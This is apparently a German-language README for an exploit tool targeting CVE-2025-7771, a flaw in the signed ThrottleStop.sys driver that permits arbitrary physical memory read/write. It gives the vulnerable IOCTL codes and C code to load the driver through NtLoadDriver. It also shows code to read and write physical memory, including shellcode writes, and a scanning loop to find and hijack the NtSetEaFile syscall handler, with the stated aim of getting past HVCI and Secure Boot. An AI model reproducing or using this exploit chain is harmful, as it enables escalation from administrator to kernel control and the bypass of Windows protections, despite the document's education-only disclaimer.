
Erhöhung der Systemberechtigungen von einem unsignierten Treiber aus unter Ausnutzung der Throttlestop-Sicherheitslücke.
CVE-2025-7771 — Beliebiger physischer Speicher Lese-/Schreibzugriff über ThrottleStop.sys IOCTLs
Dieses Projekt wird ausschließlich zu Bildungs- und Forschungszwecken veröffentlicht. Ziel ist es zu demonstrieren, wie ein signierter, vertrauenswürdiger Kernel-Treiber für eine lokale Privilegienausweitung (LPE) von Administrator auf SYSTEM/Kernel verwendet werden kann, wodurch moderne Windows-Sicherheitsfunktionen einschließlich HVCI (Hypervisor-Enforced Code Integrity) und Secure Boot effektiv umgangen werden.
Verwenden Sie dieses Tool nicht für böswillige Zwecke. Der Autor übernimmt keine Verantwortung für Missbrauch.
| Feld | Details |
|---|---|
| CVE | CVE-2025-7771 |
| Treiber | ThrottleStop.sys (enthalten in ThrottleStop) |
| Anbieter | TechPowerUp / Kevin Glynn |
| Typ | Beliebiger physischer Speicher Lese-/Schreibzugriff |
| Auswirkung | Lokale Privilegienausweitung (Admin → Kernel) |
| CVSS | 8.2 (Hoch) |
| Signatur | Microsoft-signiert über WHQL / Attestierung |
| HVCI-Umgehung | ✅ Ja — Treiber ist legitim signiert, von CI-Richtlinie erlaubt |
ThrottleStop.sys mit Physical-Memory-Mapping IOCTLs ausliefernDer Kernel-Treiber ThrottleStop.sys stellt ein Gerät (\\.\ThrottleStop) bereit, das für jeden lokalen Administrator zugänglich ist. Es implementiert zwei IOCTLs, die uneingeschränkten physischen Speicherzugriff bieten:
#define IOCTL_TS_READ_PHYS 0x80006498 // Read arbitrary physical address
#define IOCTL_TS_WRITE_PHYS 0x8000649C // Write arbitrary physical address
0x80006498)Input: ULONG64 PhysicalAddress (8 bytes)
Output: Data buffer (1–8 bytes per call, determined by OutputBufferLength)
Der Treiber ruft MmMapIoSpace() auf, um die angeforderte physische Adresse in den virtuellen Kernelraum abzubilden, kopiert die Daten in den Ausgabepuffer und ruft dann MmUnmapIoSpace() auf. Es wird keine Validierung der physischen Adresse durchgeführt — jede Adresse im physischen Adressraum kann gelesen werden.
0x8000649C)Input: ULONG64 PhysicalAddress (8 bytes) + Data (1–8 bytes)
InputBufferLength = 8 + DataSize
Output: None
Gleicher Mechanismus wie beim Lesen, schreibt jedoch benutzerbereitgestellte Daten an die gemappte physische Adresse. Auch hier keine Adress- oder Bereichsvalidierung.
Der Treiber wurde entwickelt, um ThrottleStop (ein CPU-Undervolting/Drosselungs-Dienstprogramm) das direkte Lesen/Schreiben von MSRs und Hardware-Registern zu ermöglichen. Die physischen Speicher-IOCTLs wurden wahrscheinlich für den MMIO-Zugriff auf den PCI-Konfigurationsraum oder CPU-Temperatursensoren hinzugefügt, aber die Implementierung führt keine Grenzüberprüfungen durch:
GENERIC_READ | GENERIC_WRITE Handle-Zugriff hinausDies verwandelt einen legitimen Hardware-Dienstprogramm-Treiber in eine vollständige Kernel-Level Lese-/Schreibprimitive.
Die Ausnutzungskette führt von einem lokalen Administrator-Konto zur beliebigen Kernel-Code-Ausführung, wodurch effektiv eine SYSTEM-Level-Ring-0-Kontrolle erreicht wird.
Der Mapper legt ThrottleStop.sys in %TEMP% ab, erstellt einen Dienst-Registrierungseintrag unter HKLM\SYSTEM\CurrentControlSet\Services\ThrottleStop und lädt ihn über NtLoadDriver():
// Enable SeLoadDriverPrivilege for the current process
driver::util::enable_privilege(L"SeLoadDriverPrivilege");
// Create service entry pointing to the dropped .sys file
driver::util::create_service_entry("\\??\\C:\\...\\ThrottleStop.sys", "ThrottleStop");
// Load via NtLoadDriver
NtLoadDriver(&driver_reg_path_unicode);
// Open device handle
CreateFileA("\\\\.\\ThrottleStop", GENERIC_READ | GENERIC_WRITE, ...);
Hinweis: Da ThrottleStop.sys legitim signiert ist, wird es selbst mit aktiviertem HVCI/Secure Boot geladen. Die Windows-CI-Richtlinie vertraut dem Zertifikat.
Mit dem Gerätehandle kann der Exploit jede physische Adresse im System lesen/schreiben:
// Read 8 bytes from physical address 0x1000
ULONGLONG phys_addr = 0x1000;
ULONGLONG data = 0;
DeviceIoControl(handle, 0x80006498, &phys_addr, 8, &data, 8, &returned, NULL);
// Write 8 bytes to physical address
UCHAR input[16];
*(ULONGLONG*)input = target_phys_addr; // address
*(ULONGLONG*)(input + 8) = shellcode_qword; // data
DeviceIoControl(handle, 0x8000649C, input, 16, NULL, 0, &returned, NULL);
Der Exploit kapselt diese in Hilfsfunktionen, die segmentierte Lese-/Schreiboperationen (1, 2, 4 oder 8 Bytes pro Aufruf) für Übertragungen beliebiger Länge handhaben.
Um beliebige Kernel-Funktionen auszuführen, muss der Exploit die physische Adresse eines Kernel-Syscall-Handlers finden. Er zielt auf NtSetEaFile (einen selten überwachten Syscall):
ntoskrnl.exe im Benutzermodus über LoadLibraryEx(DONT_RESOLVE_DLL_REFERENCES), erhalte die RVA von NtSetEaFileRVA & 0x1FFFFFHARDWARE\RESOURCEMAP\System Resources\Physical Memory), in 2MB-Schritten vorgehen und Bytes vergleichen:for (phys_2mb = start; phys_2mb < range_end; phys_2mb += 0x200000)
{
candidate_pa = phys_2mb + offset_in_2mb;
read_phys(candidate_pa, &first8, 8);
if (first8 == pattern_first8) // quick check
{
read_phys(candidate_pa, verify, 32); // full verify
if (memcmp(verify, pattern, 32) == 0)
{
syscall_phys_addr = candidate_pa; // found it!
// ... validate via PsGetProcessSectionBaseAddress
}
}
}